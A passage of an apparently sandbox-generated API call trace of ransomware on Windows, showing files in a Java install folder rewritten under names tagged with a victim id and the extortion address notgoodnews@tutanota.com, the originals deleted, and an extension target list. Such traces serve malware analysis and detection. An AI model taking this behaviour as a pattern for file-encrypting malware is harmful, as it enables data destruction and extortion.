files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0160.141] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.141] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.141] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0160.142] GetLastError () returned 0x0 [0160.142] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xcd5, lpOverlapped=0x0) returned 1 [0160.143] WriteFile (in: hFile=0x46c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xce0, lpOverlapped=0x0) returned 1 [0160.145] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.145] WriteFile (in: hFile=0x46c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x106, lpOverlapped=0x0) returned 1 [0160.145] SetEndOfFile (hFile=0x46c) returned 1 [0160.145] CloseHandle (hObject=0x46c) returned 1 [0160.145] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.145] SetEndOfFile (hFile=0x468) returned 1 [0160.148] CloseHandle (hObject=0x468) returned 1 [0160.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0160.148] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1 [0160.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.149] lstrlenW (lpString=".doc") returned 4 [0160.149] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.149] lstrlenW (lpString=".docx") returned 5 [0160.149] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.149] lstrlenW (lpString=".pdf") returned 4 [0160.149] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.149] lstrlenW (lpString=".xls") returned 4 [0160.149] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.149] lstrlenW (lpString=".xlsx") returned 5 [0160.149] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.149] lstrlenW (lpString=".ppt") returned 4 [0160.149] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.149] lstrlenW (lpString=".zip") returned 4 [0160.149] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.149] lstrlenW (lpString=".rar") returned 4 [0160.149] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.149] lstrlenW (lpString=".bz2") returned 4 [0160.149] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.149] lstrlenW (lpString=".7z") returned 3 [0160.150] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.150] lstrlenW (lpString=".dbf") returned 4 [0160.150] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.150] lstrlenW (lpString=".1cd") returned 4 [0160.150] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.150] lstrlenW (lpString=".jpg") returned 4 [0160.150] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.150] lstrlenW (lpString=".doc") returned 4 [0160.150] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.150] lstrlenW (lpString=".docx") returned 5 [0160.150] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.150] lstrlenW (lpString=".pdf") returned 4 [0160.150] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.150] lstrlenW (lpString=".xls") returned 4 [0160.150] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.150] lstrlenW (lpString=".xlsx") returned 5 [0160.150] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.150] lstrlenW (lpString=".ppt") returned 4 [0160.150] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.150] lstrlenW (lpString=".zip") returned 4 [0160.150] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.150] lstrlenW (lpString=".rar") returned 4 [0160.150] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.150] lstrlenW (lpString=".bz2") returned 4 [0160.150] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.150] lstrlenW (lpString=".7z") returned 3 [0160.150] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.151] lstrlenW (lpString=".dbf") returned 4 [0160.151] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.151] lstrlenW (lpString=".1cd") returned 4 [0160.151] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0160.151] lstrlenW (lpString=".jpg") returned 4 [0160.151] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.151] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0160.151] lstrlenW (lpString="messages_sv.properties") returned 22 [0160.151] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0160.152] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=3409) returned 1 [0160.152] CloseHandle (hObject=0x468) returned 1 [0160.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0160.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.152] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0160.152] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.152] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.152] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0160.153] GetLastError () returned 0x0 [0160.153] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xd51, lpOverlapped=0x0) returned 1 [0160.683] WriteFile (in: hFile=0x46c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xd60, lpOverlapped=0x0) returned 1 [0160.684] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.684] WriteFile (in: hFile=0x46c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x100, lpOverlapped=0x0) returned 1 [0160.685] SetEndOfFile (hFile=0x46c) returned 1 [0160.685] CloseHandle (hObject=0x46c) returned 1 [0160.685] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.685] SetEndOfFile (hFile=0x468) returned 1 [0160.701] CloseHandle (hObject=0x468) returned 1 [0160.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0160.702] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1 [0160.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.703] lstrlenW (lpString=".doc") returned 4 [0160.703] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.703] lstrlenW (lpString=".docx") returned 5 [0160.703] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.703] lstrlenW (lpString=".pdf") returned 4 [0160.703] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.703] lstrlenW (lpString=".xls") returned 4 [0160.703] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.703] lstrlenW (lpString=".xlsx") returned 5 [0160.703] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.703] lstrlenW (lpString=".ppt") returned 4 [0160.703] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.703] lstrlenW (lpString=".zip") returned 4 [0160.703] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.703] lstrlenW (lpString=".rar") returned 4 [0160.703] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.703] lstrlenW (lpString=".bz2") returned 4 [0160.703] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.703] lstrlenW (lpString=".7z") returned 3 [0160.703] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.703] lstrlenW (lpString=".dbf") returned 4 [0160.703] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.703] lstrlenW (lpString=".1cd") returned 4 [0160.703] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.704] lstrlenW (lpString=".jpg") returned 4 [0160.704] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.704] lstrlenW (lpString=".doc") returned 4 [0160.704] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.704] lstrlenW (lpString=".docx") returned 5 [0160.704] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.704] lstrlenW (lpString=".pdf") returned 4 [0160.704] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.704] lstrlenW (lpString=".xls") returned 4 [0160.704] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.704] lstrlenW (lpString=".xlsx") returned 5 [0160.704] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.704] lstrlenW (lpString=".ppt") returned 4 [0160.704] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.704] lstrlenW (lpString=".zip") returned 4 [0160.704] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.704] lstrlenW (lpString=".rar") returned 4 [0160.704] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.704] lstrlenW (lpString=".bz2") returned 4 [0160.704] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.704] lstrlenW (lpString=".7z") returned 3 [0160.704] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.704] lstrlenW (lpString=".dbf") returned 4 [0160.704] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.704] lstrlenW (lpString=".1cd") returned 4 [0160.704] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0160.704] lstrlenW (lpString=".jpg") returned 4 [0160.704] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.705] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0160.705] lstrlenW (lpString="dnsns.jar") returned 9 [0160.705] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0160.705] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=8286) returned 1 [0160.705] CloseHandle (hObject=0x468) returned 1 [0160.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0160.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.706] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0160.706] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.706] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.706] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0160.706] GetLastError () returned 0x0 [0160.707] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x205e, lpOverlapped=0x0) returned 1 [0160.709] WriteFile (in: hFile=0x46c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2060, lpOverlapped=0x0) returned 1 [0160.710] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.710] WriteFile (in: hFile=0x46c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0160.710] SetEndOfFile (hFile=0x46c) returned 1 [0160.710] CloseHandle (hObject=0x46c) returned 1 [0160.710] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.710] SetEndOfFile (hFile=0x468) returned 1 [0160.716] CloseHandle (hObject=0x468) returned 1 [0160.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0160.717] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0160.718] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.718] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.718] lstrlenW (lpString=".doc") returned 4 [0160.718] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.718] lstrlenW (lpString=".docx") returned 5 [0160.718] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0160.718] lstrlenW (lpString=".pdf") returned 4 [0160.718] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.718] lstrlenW (lpString=".xls") returned 4 [0160.718] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.718] lstrlenW (lpString=".xlsx") returned 5 [0160.718] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0160.718] lstrlenW (lpString=".ppt") returned 4 [0160.718] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.718] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.718] lstrlenW (lpString=".zip") returned 4 [0160.718] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.718] lstrlenW (lpString=".rar") returned 4 [0160.718] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.718] lstrlenW (lpString=".bz2") returned 4 [0160.718] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.718] lstrlenW (lpString=".7z") returned 3 [0160.719] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.719] lstrlenW (lpString=".dbf") returned 4 [0160.719] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.719] lstrlenW (lpString=".1cd") returned 4 [0160.719] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.719] lstrlenW (lpString=".jpg") returned 4 [0160.719] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.719] lstrlenW (lpString=".doc") returned 4 [0160.719] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.719] lstrlenW (lpString=".docx") returned 5 [0160.719] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0160.719] lstrlenW (lpString=".pdf") returned 4 [0160.719] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.719] lstrlenW (lpString=".xls") returned 4 [0160.719] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.719] lstrlenW (lpString=".xlsx") returned 5 [0160.719] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0160.719] lstrlenW (lpString=".ppt") returned 4 [0160.719] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.719] lstrlenW (lpString=".zip") returned 4 [0160.719] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.719] lstrlenW (lpString=".rar") returned 4 [0160.719] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.719] lstrlenW (lpString=".bz2") returned 4 [0160.719] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.719] lstrlenW (lpString=".7z") returned 3 [0160.719] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.719] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.720] lstrlenW (lpString=".dbf") returned 4 [0160.720] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.720] lstrlenW (lpString=".1cd") returned 4 [0160.720] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0160.720] lstrlenW (lpString=".jpg") returned 4 [0160.720] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.720] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0160.720] lstrlenW (lpString="jaccess.jar") returned 11 [0160.720] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0160.721] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=44516) returned 1 [0160.721] CloseHandle (hObject=0x468) returned 1 [0160.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0160.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.722] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0160.722] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.722] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.722] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0160.722] GetLastError () returned 0x0 [0160.722] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, 